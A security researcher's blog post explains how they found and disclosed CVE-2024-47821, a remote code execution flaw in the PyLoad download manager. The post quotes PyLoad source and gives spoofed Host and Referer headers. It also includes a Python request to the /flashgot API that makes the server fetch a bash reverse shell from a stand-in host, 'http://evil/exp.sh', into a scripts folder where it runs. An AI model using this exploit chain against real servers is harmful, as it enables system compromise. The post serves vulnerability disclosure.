8 minutes
CVE-2024-47821: Remote Code Execution in PyLoad
I found my first CVE! CVE-2024-47821 (GitHub Advisory) is a remote code execution vulnerability in PyLoad. PyLoad is an open source download manager written in Python. The folder ~/.pyload/scripts
on the server where PyLoad is installed has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in ~/.pyload/scripts
and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in ~/.pyload/scripts
path and using the /flashgot
API to download the file.
CVSS v4.0 Base Score: 9.4 (AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)
I rated PR:H as admin access is required to change the dowload folder to ~/.pyload/scripts
. Once that is done, no privileges are required to send the requests to trigger RCE.
A history lesson
I first encountered PyLoad in the Hack the Box PC machine (I wrote about writing a script to solve the machine in an automatable fashion). I then analyzed some CVEs in PyLoad in a previous post. While analyzing the CVEs, I built a decent understanding of how the APIs and Web UI of PyLoad work.
Since I had already spent some time looking at PyLoad code, I decided to choose PyLoad as my target to find a CVE - and then proceeded to not do anything with respect to security research for the next few months (partially due to some life events - but mostly because I was lazy). Eventually, I somehow dragged myself back to the realm of security research - and I decided to take another look at PyLoad.
PyLoad uses a library js2py
to execute JavaScript in Python. This was the source of a previous remote code execution CVE (CVE-2023–0297). The TL;DR is that PyLoad did not disable js2py
’s pyimport
feature and therefore allowed importing of Python libraries like os
into js2py.eval_js()
. This allowed an attacker to send a crafted request with a command injection payload in the jk
parameter to the /flash/addcrypted2
API and achieve remote code execution. To fix this issue, pyimport
was disabled for PyLoad.
CVE-2024-28397
I had previously learnt about recursive attribute lookups in Python - and I wondered if this could be used to find a module through recursive lookup in js2py
, which allowed executing code. Turns out the answer is Yes. However:
- This was already discovered (CVE-2024-28397)
- The payload was way beyond something I could have come up with.
This was good news to me - since I could try the payload provided in the repo against PyLoad and see if it worked. I quickly got a script ready to call the /flash/addcrypted2
with the payload provided in jk
parameter to test if PyLoad is vulnerable to this CVE. On sending the request, I encountered a strange error: 403: Forbidden
. Huh? I did not see any authentication checks in the API code, so I was confused why I got this error.
Bypassing local_check
To understand the source of this error, I took another look at the API code. The function for this API has a local_check
decorator:
@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
package = flask.request.form.get(
"package", flask.request.form.get("source", flask.request.form.get("referer"))
)
The decorator is defined like this
def local_check(func):
@wraps(func)
def wrapper(*args, **kwargs):
remote_addr = flask.request.environ.get("REMOTE_ADDR", "0")
http_host = flask.request.environ.get("HTTP_HOST", "0")
if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in (
"127.0.0.1:9666",
"[::1]:9666",
):
return func(*args, **kwargs)
else:
return "Forbidden", 403
return wrapper
The local_check
function relies on the HTTP Host header to determine if the request came from a local address. The HTTP Host header can be manipulated by the sender of the request - and therefore can be spoofed to bypass this check (I will dive into more details in a later section). Combining the local_check
bypass and the payload for CVE-2024-28397, I was able to achieve remote code execution in PyLoad.
I reported this issue to the PyLoad developers, but it turned out that the researcher who discovered CVE-2024-28397 had already reported it to PyLoad - which in hindsight was pretty obvious, since their repo mentions PyLoad is vulnerable to this CVE. At the time of me (re)discovering that PyLoad is vulnerable to CVE-2024-28397, there was no advisory for this issue for PyLoad - so I had decided to report it anyway. A few days later, an advisory was released - crediting the original reporter of CVE-2024-28397.
Since my submission was deemed a duplicate, I set out to find a new CVE in PyLoad - something that did not rely on existing CVEs in libraries used by PyLoad. I went back to the APIs listed in cnl_blueprint.py
(the same file where the /flash/addcrypted2
API and the local_check
function are defined). Since I knew I could bypass the local_check
, I wanted to find another API that performs some “dangerous” operation.
Blind Server Side Request Forgery
The cnl_blueprint.py
file has another API /flashgot
which in addition to the local_check
has a Referer header check. This header check can also be bypassed by just setting it to something PyLoad will accept.
@bp.route("/flashgot", methods=["POST"], endpoint="flashgot")
@bp.route("/flashgot_pyload", methods=["POST"], endpoint="flashgot")
@local_check
def flashgot():
if flask.request.referrer not in (
"http://localhost:9666/flashgot",
"http://127.0.0.1:9666/flashgot",
):
flask.abort(500)
...
Combining the headers to bypass both checks, I arrived at headers like this
headers = {"host": "127.0.0.1:9666", "Referer": "http://127.0.0.1:9666/flashgot"}
The flashgot
API has a functionality to provide an URL from which PyLoad will download a file. There is additional parameter autostart
which when provided results in PyLoad automatically downloading the file without any user interaction. Sending a request like below will download the file at the URL, to a folder named as per the package
parameter, in the download location set in PyLoad (by default its ~/Downloads
)
url = "http://pyload/flashgot"
headers = {"host": "127.0.0.1:9666", "Referer": "http://127.0.0.1:9666/flashgot"}
data = {
"package": "example_packge",
"passwords": "optional_password",
"urls": "http://evil/exp.sh",
"autostart": 1,
}
response = requests.post(url, data=data, headers=headers)
I created a file exp.sh
which contained a basic bash reverse shell and exposed it using a Python simple HTTP server. Once I sent the request, PyLoad downloaded the exp.sh
to ~/Downloads/example_package/exp.sh
. This is a blind SSRF vulnerability, but it is not particularly interesting. An attacker can probably use this to download malware into a system running PyLoad - but its not as interesting as code execution.
Escalating the SSRF to Remote Code Execution
The next step in my journey to find remote code execution was to somehow execute the reverse shell script. There are a few other CVEs in PyLoad where a file was downloaded to certain folders to have them execute or render - leading to remote code execution. However, as a fix for these issues, certain paths could not be set as the download folder.
Purely by chance, while I was staring at PyLoad logs, I found a log line that said “No script found under folder download_finished”. This implied that a user can specify scripts that are run when downloads are finished. Looking for this folder on my system, I came across a folder ~/.pyload/scripts
which has many subfolders for different triggers such as download_finished
, package_processed
and so on.
I added a script to the download_finished
folder and then sent a download request to /flashgot
. Once the file was downloaded, the script I added to download_finished
executed! From there, the path to remote code execution was pretty straighforward. I had to change a few PyLoad settings:
- Change the download folder to
~/.pyload/scripts
- Change permissions of downloads: on
- Permission mode for downloaded files: 0744
I also changed my request to /flashgot
to set the package
to download_finised
so that the script is downloaded to the download_finished
folder.
data = {
"package": "download_finished",
"passwords": "optional_password",
"urls": "http://evil/exp.sh",
"autostart": 1,
}
Sending this request once downloads exp.sh
(which is a bash reverse shell) to the download_finished
folder.
Sending it a second time downloads exp.sh
again into the folder, but crucially also executes the existing exp.sh
script.
I set up a simple nc
listener where I received a reverse shell once exp.sh
was executed. Remote code execution acheived, system compromised.
A small word regarding my setup
A while back I had purchased a Raspberry Pi - and as with quite a few things I buy - I played with it for a week or two and then it just sat at my desk (in that one week I installed pihole on it - so it is not completely useless). So on a whim, I decided to install PyLoad on the Pi instead of my laptop. This turned out to be an important decision - as this led me to discovering the local_check
function. If I was testing PyLoad on my laptop itself, the local_check
would not have triggered. I might have found the other issues anyway, but bypassing the local_check
check makes the finding “complete”.
Conclusion
That was a fun ride! My first CVE will always be special, but it being a remote code execution issue makes it even better. Having to chain multiple bugs was a great exercise for my research skills. Finding this CVE gives me the confidence and motivation to continue hunting. My aim for this year was to find one CVE. Having found that, and with a couple months remaining in the year - maybe I will find more?
Timeline
- September 8, 2024: Issue reported to PyLoad via GitHub.
- October 4, 2024: Report accepted by PyLoad maintainers.
- October 7, 2024: CVE 2024-47821 assigned.
- October 25, 2024: Patched version of PyLoad released, blog published.
Thank you for reading! Take care!